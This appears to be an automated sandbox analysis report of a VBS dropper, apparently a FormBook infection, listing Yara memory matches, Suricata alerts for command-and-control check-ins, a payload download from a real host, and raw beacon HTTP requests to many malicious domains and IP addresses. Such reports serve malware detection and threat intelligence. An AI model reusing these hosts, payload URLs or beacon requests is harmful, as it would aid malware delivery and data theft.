Windows Analysis Report
#U5831#U50f9#U8acb#U6c42 - #U6a23#U672c#U76ee#U9304.vbs

Suricata IDS alerts for network traffic

Source: Yara match	File source: 00000005.00000002.140485141531.00000000031F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.136238638056.00000000341C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.140483811557.00000000014B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.136239540037.0000000035220000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.140482656730.0000000000A30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.140484881545.00000000034F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.140485253633.0000000003240000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: unknown

HTTPS traffic detected: 199.103.62.205:443 -> 192.168.11.20:49840 version: TLS 1.2

Source:

Binary string: wntdll.pdb source: x.exe, cmdkey.exe

Source: C:\Users\user\AppData\Local\Temp\x.exe

Directory queried: number of queries: 1001

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 2_2_0040627E FindFirstFileA,FindClose,	2_2_0040627E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 2_2_004063BE GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	2_2_004063BE
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A4C710 FindFirstFileW,FindNextFileW,FindClose,	5_2_00A4C710

Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 4x nop then xor eax, eax		5_2_00A39B50
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 4x nop then mov ebx, 00000004h		5_2_033304E8

Networking

Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49842 -> 103.247.8.53:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49851 -> 23.231.158.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49850 -> 23.231.158.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49846 -> 96.126.123.244:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49858 -> 172.67.166.145:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49855 -> 172.67.191.241:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49854 -> 172.67.191.241:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49852 -> 23.231.158.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49866 -> 18.183.3.45:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49856 -> 172.67.191.241:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49860 -> 172.67.166.145:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49848 -> 96.126.123.244:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49871 -> 154.23.184.207:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49864 -> 203.161.46.205:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49879 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49914 -> 172.67.166.145:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49900 -> 96.126.123.244:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49905 -> 23.231.158.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49884 -> 85.159.66.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49913 -> 172.67.166.145:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49872 -> 154.23.184.207:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49920 -> 18.183.3.45:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49924 -> 154.23.184.207:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49862 -> 203.161.46.205:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49925 -> 154.23.184.207:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49922 -> 18.183.3.45:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49867 -> 18.183.3.45:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49928 -> 185.230.15.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49868 -> 18.183.3.45:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49870 -> 154.23.184.207:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49874 -> 185.230.15.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49886 -> 176.57.64.102:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49878 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49875 -> 185.230.15.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49890 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49904 -> 23.231.158.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49887 -> 176.57.64.102:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49880 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49909 -> 172.67.191.241:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49892 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49916 -> 203.161.46.205:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49882 -> 85.159.66.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49896 -> 103.247.8.53:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49888 -> 176.57.64.102:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49912 -> 172.67.166.145:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49898 -> 103.247.8.53:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49921 -> 18.183.3.45:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49897 -> 103.247.8.53:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49843 -> 103.247.8.53:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49901 -> 96.126.123.244:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49844 -> 103.247.8.53:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49910 -> 172.67.191.241:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49906 -> 23.231.158.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49926 -> 154.23.184.207:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49847 -> 96.126.123.244:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49918 -> 203.161.46.205:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49859 -> 172.67.166.145:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49863 -> 203.161.46.205:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49876 -> 185.230.15.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49929 -> 185.230.15.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49883 -> 85.159.66.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49902 -> 96.126.123.244:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49908 -> 172.67.191.241:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49917 -> 203.161.46.205:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49930 -> 185.230.15.3:80
Source: Network traffic	Suricata IDS: 2035065 - Severity 1 - ET MALWARE W32/Emotet.v4 Checkin Fake 404 Payload Response : 103.247.8.53:80 -> 192.168.11.20:49897
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49891 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49932 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49934 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49933 -> 84.32.84.32:80

Performs DNS queries to domains with low reputation

Source:

DNS query: www.518729.xyz

Source: Joe Sandbox View	IP Address: 185.230.15.3 185.230.15.3
Source: Joe Sandbox View	IP Address: 18.183.3.45 18.183.3.45
Source: Joe Sandbox View	IP Address: 76.223.54.146 76.223.54.146
Source: Joe Sandbox View	IP Address: 76.223.54.146 76.223.54.146

Source: Joe Sandbox View	ASN Name: VIALIS-MOSELLELocatedinMetzFranceFR VIALIS-MOSELLELocatedinMetzFranceFR
Source: Joe Sandbox View	ASN Name: TELINEABA TELINEABA
Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49840 -> 199.103.62.205:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9

Source: global traffic	HTTP traffic detected: GET /EiopsiA213.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: www.groupriam.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /enra/?wXB=brv4Erb&ij60MtY=EuJScojaXV9tkcwMAt8AIq1Fa6SjC3UOd2jPPlI8uN15nuMsourZ6RQE0C5sWIKd2oJ0ti0mlaCO+WC8VNvzQxVxe8Bdx85A43xT3KZq/wlYnQ9EpMMmNcQ= HTTP/1.1Host: www.foundation-repair.bizAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Source: global traffic	HTTP traffic detected: GET /21hf/?ij60MtY=p1NLRLDpZ3jtk0f1dDjC0GqGJiZBNtu8Mrwl5djJtNb21C4BFG2Hr75FPHHV9wORgBrIYOW3JrKZkRWCMOhawA9p/CCB70kTn7w94dWnlsSq4AnfR/ra/5E=&wXB=brv4Erb HTTP/1.1Host: www.asa-malukuutara.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Source: global traffic	HTTP traffic detected: GET /o0e7/?ij60MtY=xHuhihA5a0RCQDr7UqpawT1cYL9BOqgbdgZ3/38wD7lrSrU6llHUt19Sg65W4AIkiHRz640OtFHlOrepbmqCRMN0Rn3a8HvHNm6R1WOOyMUaxc5SdqEBk4o=&wXB=brv4Erb HTTP/1.1Host: www.meetfactory.bizAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Source: global traffic	HTTP traffic detected: GET /s1mg/?ij60MtY=2QViuhW/NYaw5nxi+F1oVZq46szrrR71oUxOni/Qn+PFEj/1SakqFOMu9uwTuSiQaklPQGQrKMR1DX8jJ/FrQ8LNcsmQ9XMkBTdB/FoVvRnsRxC4QNxtOLg=&wXB=brv4Erb HTTP/1.1Host: www.518729.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Source: global traffic	HTTP traffic detected: GET /fp5q/?ij60MtY=hTm9ypMPCvkZHpXOUIowtI5N2+z4niygtjCFVe/8mioZPRfz5TFJ3IewZaR+NPU03UUaFdubUQ2FIRqoOOixztWDEcr2XGgHHm20+kxsPtJkRiaVsamec0k=&wXB=brv4Erb HTTP/1.1Host: www.cachsoicautdtc.bestAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Source: global traffic	HTTP traffic detected: GET /p1v4/?ij60MtY=XW3vckNGBZMqkh6dDgKTVQdtxgWhQhuqI1UaXPyLgSYWv7ViPFn3HMqwy3qnuuGBWlC3pPEFi6D5pQsjZrraxjUjA6OulNf3kQwJOyuMay6JsEDMWEmFSkY=&wXB=brv4Erb HTTP/1.1Host: www.itemfilterhub.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Source: global traffic	HTTP traffic detected: GET /veti/?ij60MtY=CTwFRHkEL7GCscIqZBh2ghsqK7sG3QtVuFrIQG0IMtDLIws7wIuLhg5F5RICghophROLKQKALEwFGf2MtTv3MXBKvDNA89h+ifbsdhYGPDKJkkgMD8vmo5o=&wXB=brv4Erb HTTP/1.1Host: www.bullbord.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Source: global traffic	HTTP traffic detected: GET /y82c/?wXB=brv4Erb&ij60MtY=sLiZbFdk0bb3LADauL00iEPz4ezLfDKRfqlDl/6kvE4DPkuqbR8aqfEySQ7vKfLRZ5tGFHhzrS3SF8murk9fEOV453YSzWktCGZAKUV3HiBT9SXvdO/vw9M= HTTP/1.1Host: www.cannulafactory.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Source: global traffic	HTTP traffic detected: GET /pcjw/?ij60MtY=Irl6roAKlXX+S/z4d/JGSgOFtgPcZWv0Ad/WGuEavtEpunmIUZ/WLqk+3ThtGR85672FVpbJ7guSoPSbpRkmFzROuSw6a7kz1v/qj+IPw73pHtOII/dFP3E=&wXB=brv4Erb HTTP/1.1Host: www.7ddw.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Source: global traffic	HTTP traffic detected: GET /ns8q/?wXB=brv4Erb&ij60MtY=Inf42ZVLRw6HwISCOPUKL9E43+GpX4bkPpg82teOxrbDSww0PzIRQy8gHWXiaO2t1uZOdy10GUfR4hRxDB6Ts5zJpETBxtnbe//OQKeepMDnU8nxUbj7e0s= HTTP/1.1Host: www.home-check.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Source: global traffic	HTTP traffic detected: GET /enra/?ij60MtY=EuJScojaXV9tkcwMAt8AIq1Fa6SjC3UOd2jPPlI8uN15nuMsourZ6RQE0C5sWIKd2oJ0ti0mlaCO+WC8VNvzQxVxe8Bdx85A43xT3KZq/wlYnQ9EpMMmNcQ=&wXB=brv4Erb HTTP/1.1Host: www.foundation-repair.bizAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Source: global traffic	HTTP traffic detected: GET /c0kl/?wXB=brv4Erb&ij60MtY=AxZR1MxN1yP04/KkfJjqNmRSK4d8g2rgChYpgYbN8LwS/ds0321h0MeEKpKCay63h/JFzZR/nOfV69IulQUTnqrvqwrwGbRyvD357dhiEinhnUxdss5AyLg= HTTP/1.1Host: www.emeluzunmoda.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Source: global traffic	HTTP traffic detected: GET /mktg/?ij60MtY=0TalvP/u8kBxCEcVC8ZYLDfWzg1d8ZMLdJUcZNeUjcCfUnJGBGp8dbleblgtUVXijVAfatBw5nkrSCpMHneIWtcqoMWdglrJlT3qBoY6Uu70toyjn3om774=&wXB=brv4Erb HTTP/1.1Host: www.ayypromo.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Source: global traffic	HTTP traffic detected: GET /gir9/?ij60MtY=f5fgxEQYyH9aCEvnqRNhj/uGI07axwFwhdkCg+bZ+BEtnM1/7SlBYCrjg9utQFPLrd0Y68zwkqIMf6pHdwjKMQmtDey6vcSJt3zCtqxSD+6F6gKu0jTr2I8=&wXB=brv4Erb HTTP/1.1Host: www.magicface.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Source: global traffic	HTTP traffic detected: GET /enra/?wXB=brv4Erb&ij60MtY=EuJScojaXV9tkcwMAt8AIq1Fa6SjC3UOd2jPPlI8uN15nuMsourZ6RQE0C5sWIKd2oJ0ti0mlaCO+WC8VNvzQxVxe8Bdx85A43xT3KZq/wlYnQ9EpMMmNcQ= HTTP/1.1Host: www.foundation-repair.bizAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Source: global traffic	HTTP traffic detected: GET /21hf/?ij60MtY=p1NLRLDpZ3jtk0f1dDjC0GqGJiZBNtu8Mrwl5djJtNb21C4BFG2Hr75FPHHV9wORgBrIYOW3JrKZkRWCMOhawA9p/CCB70kTn7w94dWnlsSq4AnfR/ra/5E=&wXB=brv4Erb HTTP/1.1Host: www.asa-malukuutara.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Source: global traffic	HTTP traffic detected: GET /o0e7/?ij60MtY=xHuhihA5a0RCQDr7UqpawT1cYL9BOqgbdgZ3/38wD7lrSrU6llHUt19Sg65W4AIkiHRz640OtFHlOrepbmqCRMN0Rn3a8HvHNm6R1WOOyMUaxc5SdqEBk4o=&wXB=brv4Erb HTTP/1.1Host: www.meetfactory.bizAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Source: global traffic	HTTP traffic detected: GET /s1mg/?ij60MtY=2QViuhW/NYaw5nxi+F1oVZq46szrrR71oUxOni/Qn+PFEj/1SakqFOMu9uwTuSiQaklPQGQrKMR1DX8jJ/FrQ8LNcsmQ9XMkBTdB/FoVvRnsRxC4QNxtOLg=&wXB=brv4Erb HTTP/1.1Host: www.518729.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
